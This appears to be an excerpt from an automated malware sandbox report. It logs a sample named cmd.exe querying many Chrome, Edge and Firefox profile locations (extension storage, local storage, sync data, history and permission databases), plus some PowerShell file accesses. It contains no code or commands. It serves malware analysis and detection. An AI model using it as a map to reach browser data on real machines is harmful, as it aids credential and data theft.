Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cs VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\da VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\de VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\el VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_CA VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_CA VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_GB VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\OriginTrials VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\es VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\RecoveryImproved VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\es_419 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\OriginTrials VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\RecoveryImproved VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\et VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\eu VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fa VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Speech Recognition VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\WidevineCdm VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fi VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fi VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fil VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fil VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\gu VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hr VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\is VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\is VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ja VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ka VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lt VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lt VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lv VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lv VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ml VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ml VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\mn VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\mr VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\mr VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ms VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ne VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\nl VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\no VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pa VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pl VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pt_PT VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
